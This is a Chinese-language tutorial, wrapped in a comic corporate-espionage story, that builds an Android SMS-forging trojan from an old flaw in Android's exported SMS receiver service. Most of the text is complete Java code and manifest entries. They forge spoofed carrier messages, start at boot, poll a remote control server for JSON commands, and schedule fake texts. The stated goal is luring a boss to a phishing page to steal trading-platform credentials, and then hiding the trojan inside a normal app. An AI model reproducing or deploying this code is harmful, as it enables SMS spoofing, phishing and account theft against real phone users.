老漏洞也是有价值的,移动平台的漏洞生命力是相当强的,原因是没有PC上那么完善的漏洞修补体系,安卓系统漏洞需要进行系统更新来修补,大部分时候是要重刷固件的,这一点普通用户根本办不到,大部分山寨厂家甚至根本不会推出更新固件。
4d 5e 认识刘尼玛
在一个阳光明媚的早晨,小职员刘尼玛像往常一样来到了公司,从表面上看,他是个普通的上班族,每天照常挤地铁,加班,但实际上,他是某秘密组织派到公司卧底的商业间谍,代号叉叉圈圈。
刘尼玛不是高富帅,相反是典型的屌丝,他得到的情报大部分来源于老总的秘书兼公开情人杨尼美,挫丑穷的刘尼玛之所以能吸引到身材火辣的杨尼美,只是因 为他长了一张性感的香肠嘴,杨尼美最喜欢香肠嘴的男人,与刘尼玛有着同样特征的还有老总,只不过杨尼美喜欢的不止是他的香肠嘴,还有他手里大把的票子。
这家公司有个最奇怪的现象,普通职员刘尼玛和老总的秘书杨尼美当众调情,老总本人却毫不介意,甚至装作什么也不知道,这一点刘尼玛自己也相当诧异。
“或许老总只是把杨尼美当作玩物吧,对她并不是真的上心.” 刘尼玛一边想,一边把一本名叫《三只小猪的故事》的儿童读物装进纸袋子,交给快递员。”这是我给小侄女买的。” 刘尼玛告诉同事。其实这不是一本普通的书,书的某一页上有他传递给组织的最新信息。
0×00 一个安卓漏洞的原理
刘尼玛传来的信息说,他注意到老总经常在一个在线交易平台上进行操作,他需要一个短信木马来伪造该交易平台发送的短信,诱使老总访问钓鱼页面来获得账号和密码,现在我是刘尼玛的”Q博士”,我来帮他造这个木马:
我这里有一个2012年底发布的高危短信漏洞,虽然是老洞,但并不代表没有利用价值,因为移动平台的漏洞生命力是相当强的,原因是没有PC上那么完善 的漏洞修补体系,安卓系统漏洞需要进行系统更新来修补,大部分时候是要重刷固件的,这一点普通用户根本办不到,大部分山寨厂家甚至根本不会推出更新固件, 所以一个用户买到手机的时候系统是安卓2.3,五年以后他可能还在用这个版本.
该漏洞影响android4.2以下所有版本,在安卓系统的底层短信代码中,一个名为com.android.mms.transaction.SmsReceiverService的服务的android:export属性被设置为了true,也就是说,外部程序可以任意调用这个服务。
在安卓系统接收到pdu短信代码之后, 会通过名为android.provider.Telephony.SMS_RECEIVED的action调用此服务,先将pdu短信解码,然后将之显 示在手机屏幕上,恶意攻击者可以在自己的程序中通过一个同名的action,不经过任何短信接收程序,直接伪造一条pdu短信调用此服务,具体过程如下图 所示:
根据这个流程可以看出,这个漏洞发送的短信并不经过GSM网络,所以即使手机没有插sim卡,也照样可以收到短信,这让大部分的短信防火墙完全失效。
0×01 PDU短信的结构
要利用此漏洞,我们首先要清楚手机短信的结构,短信在手机操作系统中并不是以我们平常见到的文本格式传送的,而是有特定的编码格 式,其中最为广泛使用的就是PDU,短信被编码成PDU串,然后转换成byte传输,这其中发送短信和接收短信的PDU串格式是不同的,由于这个漏洞直接 触发了接收流程,所以这里我们只介绍接收格式,发送格式请自行google.
接收短信的PDU结构如下:
SCA
|
PDU TYPE
|
OA
|
PID
|
DCS
|
SCTS
|
UDL
|
UD
|
短信中心地址
|
PDU类型(可选)
|
发送短信的手机地址
|
协议标志
一般为00
|
编码标准
|
短信接收的时间
|
短信内容的长度
|
短信内容
|
长度
|
短信中心类型(可选)
|
短信中心号码
|
长度
|
地址类型(可选)
|
发送号码
|
看着晕了吧,其实并不复杂,下面每部分分别叙述:
1 SCA短信中心地址
实际上中间的短信中心类型大部分时候是不用的,我们只需构造号码的长度+号码即可。
2 PDU TYPE短信类型
有七个值可选,一般写04代表普通sms短信.
3 OA 手机地址
格式同SCA。
4 PID 协议标志
所有运营商都支持00这个值,所以直接输入。
5 DCS 编码标准
一般常用的是两种,输入00代表7bit编码,只能传输英文,输入08代表UCS2编码,可以传输中文,但最多只能传送70个字,这就是为什么我们在发送长短信时常常被分割成几段的原因,这里我们理所当然要输入08.
6 SCTS 接收时间
这个时间所用的格式与我们平常所见的不同,是一种倒过来的格式,结构如下:
年+月+日+时+分+秒+offset
其中每一项都是反着位数写的,且年份为两位数,比如2013年11月20日21时38分51秒,按这个格式写就是:
31110212831523
最后的23是offset,代表你现在所处时区和格林威治时间所偏移的值,查阅资料得知北京时间的值就是23.
7和8没什么好解释的,就是短信的长度和内容.
之所以费了这一大段讲述PDU的结构,是因为不熟悉这个,后面的内容根本无法看懂。
ff d8 休息一下,刘尼玛乱入
这个漏洞在安卓4.2以下才有效,那到底刘尼玛老总的手机是不是在这个范围内?列位看官放心,这个刘尼玛早就打听到了,老总的手机是2012年8月份买 的,也就是在4.2发布之前,这个重要情报是在杨尼美坐在刘尼玛大腿上调情的时候,刘尼玛好不容易套出来的,当时的刘尼玛早已经”飞龙在天”,他一边咽着 口水一边拼命把它记了下来,屌丝情报员真不容易啊。
0×02 漏洞触发的代码实现
光把短信编码成PDU串是不够的,短信的号码和内容实际上是以二进制的BCD码格式传输的,google已经提供了十进制数转 BCD码的函数networkPortionToCalledPartyBCD,我们可以直接把号码转换成BCD,至于短信内容,这个比较复杂,直接从网 上扒拉了一个现成的字符串转BCD函数str2Bcd.
新建一个工程,名为SMSAttack,将主要攻击代码写成一个名为smsservice的服务,该服务在AndroidManifesy.xml中注册名称为SMS_SERVICE.
代码如下:
02 |
* project name:android伪造短信0day利用程序; |
03 |
* class name:smsservice 短信伪造服务; |
08 |
package com.baiker.SMSAttack; |
13 |
import android.content.*; |
15 |
import android.telephony.PhoneNumberUtils; |
16 |
import android.util.Log; |
17 |
public class smsservice extends Service { |
19 |
public IBinder onBind(Intent intent) { |
23 |
public void onCreate() { |
27 |
public void onDestroy() { |
32 |
* 在onStartCommand时发送短信 |
35 |
public int onStartCommand(Intent intent, int flags, int startId) { |
36 |
for ( int i= 1 ;i<= 10 ;i++) |
38 |
createFakeSms(getApplicationContext(),” 10086 ”,”移动就是垃圾”); |
40 |
return START_NOT_STICKY; |
002 |
* 短信发送函数,直接以PDU编码形式通过名为android.provider.Telephony.SMS_RECE |
003 |
* IVED的action调用系统的com.android.mms.transaction.SmsReceiverService服务 |
006 |
* @param sender:伪造的发件人号码 |
009 |
private static void createFakeSms(Context context, String sender, String body) { |
011 |
byte [] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD( "0000000000" ); |
012 |
byte [] senderBytes = PhoneNumberUtils |
013 |
.networkPortionToCalledPartyBCD(sender); |
014 |
int lsmcs = scBytes.length; |
016 |
ByteArrayOutputStream bo = new ByteArrayOutputStream(); |
020 |
bo.write(( byte ) sender.length()); |
021 |
bo.write(senderBytes); |
024 |
byte [] bodybytes = EncodeUCS2(body, null ); |
027 |
bo.write(str2Bcd(getBCDString())); |
029 |
} catch (Exception e) { |
030 |
Log.e( "编码失败" , "" + e.getMessage()); |
032 |
pdu = bo.toByteArray(); |
033 |
} catch (IOException e) { |
034 |
Log.e( "Error" , "" + e.getMessage()); |
037 |
Intent intent = new Intent(); intent.setClassName( "com.android.mms" , "com.android.mms.transaction.SmsReceiverService" ); |
038 |
intent.setAction( "android.provider.Telephony.SMS_RECEIVED" ); |
039 |
intent.putExtra( "pdus" , new Object[] { pdu }); |
040 |
intent.putExtra( "format" , "3gpp" ); |
041 |
context.startService(intent); |
046 |
* 输出String共14位,每两位为一时间单位,每个时间单位均为位数倒置,最后两位是offset: |
051 |
private static String getBCDString(){ |
053 |
String YEAR,MONTH,DAY,HOUR,MINUTE,SECOND; |
054 |
Calendar now = Calendar.getInstance(); |
055 |
YEAR=String.valueOf(now.get(Calendar.YEAR)); |
056 |
MONTH=String.valueOf(now.get(Calendar.MONTH)+ 1 ); |
057 |
DAY=String.valueOf(now.get(Calendar.DAY_OF_MONTH)); |
058 |
HOUR=String.valueOf(now.get(Calendar.HOUR_OF_DAY)); |
059 |
MINUTE=String.valueOf(now.get(Calendar.MINUTE)); |
060 |
SECOND=String.valueOf(now.get(Calendar.SECOND)); |
061 |
BCDDate=FmtBCDDate(YEAR.substring( 2 ))+FmtBCDDate(MONTH)+FmtBCDDate(DAY)+ |
062 |
FmtBCDDate(HOUR)+FmtBCDDate(MINUTE)+FmtBCDDate(SECOND)+ "23" ; |
067 |
* 日期格式化函数,一位数后面加零变两位数,两位数则颠倒位数 |
071 |
private static String FmtBCDDate(String s){ |
072 |
if (ReverseInt(Integer.parseInt(s)).equals( "0" )) |
078 |
if (ReverseInt(Integer.parseInt(s)).length()== 1 ) |
079 |
return ReverseInt(Integer.parseInt(s))+ "0" ; |
081 |
return ReverseInt(Integer.parseInt(s)); |
086 |
* 整数位数颠倒函数 ,输出String. |
090 |
private static String ReverseInt( int i){ |
091 |
StringBuffer bs = new StringBuffer(String.valueOf(i)); |
092 |
return bs.reverse().toString(); |
096 |
* String转BCD编码函数,来自网络. |
100 |
private static byte [] str2Bcd(String asc) { |
101 |
int len = asc.length(); |
107 |
byte abt[] = new byte [len]; |
111 |
byte bbt[] = new byte [len]; |
112 |
abt = asc.getBytes(); |
114 |
for ( int p = 0 ; p < asc.length()/ 2 ; p++) { |
115 |
if ( (abt[ 2 * p] >= '0' ) && (abt[ 2 * p] <= '9' )) { |
116 |
j = abt[ 2 * p] - '0' ; |
117 |
} else if ( (abt[ 2 * p] >= 'a' ) && (abt[ 2 * p] <= 'z' )) { |
118 |
j = abt[ 2 * p] - 'a' + 0x0a ; |
120 |
j = abt[ 2 * p] - 'A' + 0x0a ; |
122 |
if ( (abt[ 2 * p + 1 ] >= '0' ) && (abt[ 2 * p + 1 ] <= '9' )) { |
123 |
k = abt[ 2 * p + 1 ] - '0' ; |
124 |
} else if ( (abt[ 2 * p + 1 ] >= 'a' ) && (abt[ 2 * p + 1 ] <= 'z' )) { |
125 |
k = abt[ 2 * p + 1 ] - 'a' + 0x0a ; |
127 |
k = abt[ 2 * p + 1 ] - 'A' + 0x0a ; |
129 |
int a = (j << 4 ) + k; |
137 |
* 以UCS-2格式编码String,用于发送汉字,使用此格式编码最多可发送70个字。 |
141 |
* @throws UnsupportedEncodingException |
143 |
private static byte [] EncodeUCS2(String message, byte [] header) |
144 |
throws UnsupportedEncodingException { |
145 |
byte [] userData, textPart; |
146 |
textPart = message.getBytes( "UTF-16BE" ); |
148 |
if (header != null ) { |
149 |
userData = new byte [header.length + textPart.length + 1 ]; |
150 |
userData[ 0 ] = ( byte )header.length; |
151 |
System.arraycopy(header, 0 , userData, 1 , header.length); |
152 |
System.arraycopy(textPart, 0 , userData, header.length + 1 , textPart.length); |
157 |
byte [] ret = new byte [userData.length+ 1 ]; |
158 |
ret[ 0 ] = ( byte ) (userData.length & 0xff ); |
159 |
System.arraycopy(userData, 0 , ret, 1 , userData.length); |
164 |
在AndroidManifest.xml中注册此服务: |
165 |
<service android:name= ".smsservice" > |
167 |
<action android:name= "com.baiker.SMS_SERVICE" /> |
168 |
<category android:name= "android.intent.category.default" /> |
171 |
在程序默认的Activity中启动此服务: |
173 |
protected void onCreate(Bundle savedInstanceState) { |
174 |
super .onCreate(savedInstanceState); |
175 |
setContentView(R.layout.activity_main); |
176 |
startService( new Intent( "com.baiker.SMS_SERVICE" )); |
在手机上调试,程序启动后,收到10条冒充移动公司发来的短信:
注意我这里测试用的手机上并没有插sim卡,但仍然成功收到短信。
0×03 从Exploit到完善的木马
上面这个程序虽然实现了伪造短信的过程,但充其量只能算是个Exploit,要把它改造成一个可用的钓鱼木马,我们还有很多工作要做.
安卓平台的木马程序和PC上的有很大的不同,其原因主要有以下两个方面:
一是网络的问题,手机和平板不可能时时都有稳定的网络连接,会经常在不同的wifi和gsm网络之间切换,而且有时网络会被人为关闭,所以安卓木马注定是被动连接的,且不能使用socket,只能基于http协议来反向连接.
二是流量的问题,安卓手机上都有流量监控软件,当处在gsm网络时,控制端不可能发送大量的数据包,这样会引发流量报警的.
基于以上考虑,我们需要设计一个流程来打造我们的木马:
首先我们需要注册一个新的服务smsdaemon,在AndroidManifest.xml中的注册名称为SMS_DAEMON,并把它设置为开机 自动启动,当启动后,开始探测网络连接,如果有网络可用,则连接远程控制端的http服务器,获取控制指令,触发SMS_SERVICE服务发送短信,如 果没有网络可用,则在后台等待,注册网络状态监听广播BootBroadcastReceiver,当网络可用时再连接服务器。
以上方法有个问题,每当网络状态改变一次, SMS_DAEMON就会从服务器获取指令触发短信接收,因为手机的网络状态经常改变,所以短信有可能被重复发送很多次,所以接下来我们要给 SMS_SERVICE注册一个AlarmReceiver广播,在服务器上加入时间控制指令,SMS_SERVICE接到SMS_DAEMON发来的控 制指令,会一直等待,直到到达指令中指定的触发时间才发送短信,具体流程如下图所示:
然后是流量的问题,一般来说,手机客户端从http服务器获取数据有两种方式:xml和json,显然后者要省流量的多,所以我们需要先搭建一个web服务器,然后在上面构建一个json控制页面。
Web服务器地球人都知道如何搭建,我在这里不再详述,只构造json的指令结构:
number: string 伪造的短信发件人号码
message: string 短信内容.
count: int 短信的发送次数.
issend: bool 是否发送短信.
date: string 短信的触发时间.
一条完整的控制指令应该是下面的样子:
{“command”:{“number”:”10086″,”message”:”移动不是垃圾”,”count”:1,”issend”:true,“date”:”2014_01_10_00_00_00″}}
我们还要在SMS_DAEMON中编写代码,让它在获取指令后将其存入SharedPreferences中,调用SMS_SERVICE后再由其从中读取.
现在万事具备,我们来看如何用代码实现:
注册一个BootBroadcastReceiver,将SMS_DAEMON设为开机启动:
01 |
package com.baiker.SMSAttack; |
03 |
import android.content.BroadcastReceiver; |
04 |
import android.content.Context; |
05 |
import android.content.Intent; |
06 |
public class BootBroadcastReceiver extends BroadcastReceiver { |
07 |
static final String action_boot="android.intent.action.BOOT_COMPLETED"; |
09 |
public void onReceive(Context context, Intent intent) { |
10 |
if (intent.getAction().equals(action_boot)){ |
11 |
Intent smssrv = new Intent(); |
12 |
smssrv.setAction("com.baiker.SMS_DAEMON"); |
13 |
context.startService(smssrv); |
再写一个AlarmReceiver来监听时间:
02 |
* project name:android伪造短信0day利用程序; |
03 |
* class name:AlarmReceiver 闹钟广播监听类 |
05 |
* update time:2013-12-22; |
08 |
package com.baiker.SMSAttack; |
10 |
import android.content.BroadcastReceiver; |
11 |
import android.content.Context; |
12 |
import android.content.Intent; |
13 |
public class AlarmReceiver extends BroadcastReceiver { |
15 |
public void onReceive(Context context, Intent intent) { |
16 |
Intent smssrv = new Intent(); |
17 |
smssrv.setAction("com.baiker.SMS_SERVICE"); |
18 |
context.startService(smssrv); //启动短信伪造后台服务 |
将所有的服务和广播在AndroidManifest.xml中注册,最终代码如下:
[AndroidManifest.xml]
01 |
<?xml version="1.0" encoding="utf-8"?> |
02 |
<manifest xmlns:android="http://schemas.android.com/apk/res/android" |
03 |
package="com.baiker.SMSAttack" |
04 |
android:versionCode="1" |
05 |
android:versionName="1.0" > |
06 |
<uses-sdk android:minSdkVersion="8"/> |
08 |
android:allowBackup="true" |
09 |
android:icon="@drawable/ic_launcher" |
10 |
android:label="@string/app_name" |
11 |
android:theme="@style/AppTheme" > |
13 |
android:name="com.baiker.SMSAttack.MainActivity" |
14 |
android:label="@string/app_name" > |
16 |
<action android:name="android.intent.action.MAIN" /> |
17 |
<category android:name="android.intent.category.LAUNCHER" /> |
20 |
<service android:name=".smsservice"> |
22 |
<action android:name="com.baiker.SMS_SERVICE" /> |
23 |
<category android:name="android.intent.category.default" /> |
26 |
<service android:name=".smsdaemon"> |
28 |
<action android:name="com.baiker.SMS_DAEMON" /> |
29 |
<category android:name="android.intent.category.default" /> |
32 |
<receiver android:name=".AlarmReceiver" android:process=".smsalarm"/> |
34 |
android:name=".BootBroadcastReceiver" |
35 |
android:label="@string/app_name" > |
37 |
<action android:name="android.intent.action.BOOT_COMPLETED" /> |
38 |
<category android:name="android.intent.category.DEFAULT"/> |
42 |
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> |
43 |
<uses-permission android:name="android.permission.INTERNET"/> |
44 |
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> |
SMS_DAEMON的代码如下:
002 |
* project name:android伪造短信0day利用程序; |
003 |
* class name:smsdaemon 远程控制监听服务; |
005 |
* update time:2014-01-10; |
009 |
package com.baiker.SMSAttack; |
014 |
import android.util.Log; |
015 |
import android.app.*; |
016 |
import android.content.*; |
017 |
import android.content.SharedPreferences.Editor; |
018 |
import android.net.*; |
019 |
import android.net.NetworkInfo.State; |
020 |
import org.apache.http.*; |
021 |
import org.apache.http.client.*; |
022 |
import org.apache.http.client.methods.HttpGet; |
023 |
import org.apache.http.impl.client.DefaultHttpClient; |
024 |
import org.apache.http.util.EntityUtils; |
026 |
public class smsdaemon extends Service { |
027 |
private String SvrAddress= "http://192.168.0.10/test.html" ; |
028 |
private ConnectivityManager connectivityManager; |
029 |
private JSONObject jsonObject = null ; |
031 |
public IBinder onBind(Intent intent) { |
035 |
public void onCreate() { |
037 |
IntentFilter mFilter = new IntentFilter(); |
038 |
mFilter.addAction(ConnectivityManager.CONNECTIVITY_ACTION); |
039 |
registerReceiver(mReceiver, mFilter); |
042 |
public void onDestroy() { |
044 |
unregisterReceiver(mReceiver); |
047 |
public int onStartCommand(Intent intent, int flags, int startId) { |
048 |
return START_NOT_STICKY; |
051 |
* 连接远程控制服务器读取json格式控制字符串 |
055 |
private String getControlCommand(String URL){ |
056 |
HttpGet request= new HttpGet(URL); |
057 |
HttpClient hc= new DefaultHttpClient(); |
059 |
HttpResponse hr=hc.execute(request); |
060 |
if (hr.getStatusLine().getStatusCode()==HttpStatus.SC_OK) |
062 |
String result=EntityUtils.toString(hr.getEntity(), "GBK" ); |
069 |
} catch (ClientProtocolException e) { |
070 |
Log.e( "Error" , "" + e.getMessage()); |
071 |
} catch (IOException e) { |
072 |
Log.e( "Error" , "" + e.getMessage()); |
079 |
private BroadcastReceiver mReceiver = new BroadcastReceiver() { |
081 |
public void onReceive(Context context, Intent intent) { |
082 |
State wifiState = null ; |
083 |
State mobileState = null ; |
084 |
connectivityManager = (ConnectivityManager)context.getSystemService(Context.CONNECTIVITY_SERVICE); |
085 |
wifiState = connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI).getState(); |
086 |
mobileState = connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE).getState(); |
088 |
if (wifiState != null && State.CONNECTED == wifiState){ |
089 |
String RequestStr=getControlCommand(SvrAddress); |
090 |
if (!RequestStr.equals( "" )) |
093 |
jsonObject = new JSONObject(RequestStr).getJSONObject( "command" ); |
094 |
SharedPreferences sp = getSharedPreferences( "command" , MODE_PRIVATE); |
096 |
Editor editor = sp.edit(); |
097 |
editor.putString( "number" , jsonObject.getString( "number" )); |
098 |
editor.putString( "message" , jsonObject.getString( "message" )); |
099 |
editor.putInt( "count" , jsonObject.getInt( "count" )); |
100 |
editor.putBoolean( "issend" , jsonObject.getBoolean( "issend" )); |
101 |
editor.putString( "date" , jsonObject.getString( "date" )); |
103 |
String date = jsonObject.getString( "date" ); |
104 |
Calendar c=Calendar.getInstance(); |
105 |
c.set(Calendar.YEAR,Integer.parseInt(date.split( "_" )[ 0 ])); |
106 |
c.set(Calendar.MONTH,Integer.parseInt(date.split( "_" )[ 1 ])- 1 ); |
107 |
c.set(Calendar.DAY_OF_MONTH, Integer.parseInt(date.split( "_" )[ 2 ])); |
108 |
c.set(Calendar.HOUR_OF_DAY, Integer.parseInt(date.split( "_" )[ 3 ])); |
109 |
c.set(Calendar.MINUTE, Integer.parseInt(date.split( "_" )[ 4 ])); |
110 |
c.set(Calendar.SECOND, Integer.parseInt(date.split( "_" )[ 5 ])); |
112 |
Calendar now = Calendar.getInstance(); |
113 |
int result=c.compareTo(now); |
116 |
Intent intentalarm= new Intent(context,AlarmReceiver. class ); |
117 |
PendingIntent pi=PendingIntent.getBroadcast(context, 0 , intentalarm, 0 ); |
118 |
AlarmManager am=(AlarmManager)getSystemService(ALARM_SERVICE); |
119 |
am.set(AlarmManager.RTC_WAKEUP, c.getTimeInMillis(), pi); |
122 |
} catch (JSONException e) { |
123 |
Log.e( "Error" , "" + e.getMessage()); |
127 |
else if (wifiState != null && mobileState != null && State.CONNECTED != wifiState && State.CONNECTED == mobileState) |
130 |
else if (wifiState != null && mobileState != null && State.CONNECTED != wifiState && State.CONNECTED != mobileState) |
我是屌丝,没有域名和固定ip,所以只在局域网测试了wifi网络的情况,如果要测试gsm网络,只需把SvrAddress改成公网的域名或固定ip地址,改一下上面的if语句即可.
现在修改SMS_SERVICE的onStartCommand,让服务在启动时自动从SharedPrefeRences中读取控制参数,然后发送短信:
02 |
* 在onStartCommand时读取SharedPreferences |
03 |
* number为伪造的短信发送号码 ,message是发送的内容,count为发送次数,issend为true时才启动发送进程。 |
06 |
public int onStartCommand(Intent intent, int flags, int startId) { |
07 |
SharedPreferences sp = getSharedPreferences( "command" , MODE_PRIVATE); |
08 |
String number = sp.getString( "number" , "" ); |
09 |
String message = sp.getString( "message" , "" ); |
10 |
boolean issend = sp.getBoolean( "issend" , false ); |
11 |
int count = sp.getInt( "count" , 9 ); |
14 |
for ( int i= 1 ;i<=count;i++) |
16 |
createFakeSms(getApplicationContext(),number,message); |
19 |
return START_NOT_STICKY; |
将程序默认的Avtivity中启动的服务改为SMS_DAEMON:
1 |
protected void onCreate(Bundle savedInstanceState) { |
2 |
super .onCreate(savedInstanceState); |
3 |
setContentView(R.layout.activity_main); |
4 |
startService( new Intent( "com.baiker.SMS_DAEMON" )); |
0×04 运行结果
代码编写完成后,编译并上传到手机调试,在控制指令指定的时间,手机成功收到了短信:
90 90 刘尼玛现在还不能使用它
木马是编写完成了,但还不能投入使用,因为我们要把它注入到一个正常的程序中,欺骗刘尼玛的老总安装它,但那是另一个故事了……
预知后事如何,且听下回分解.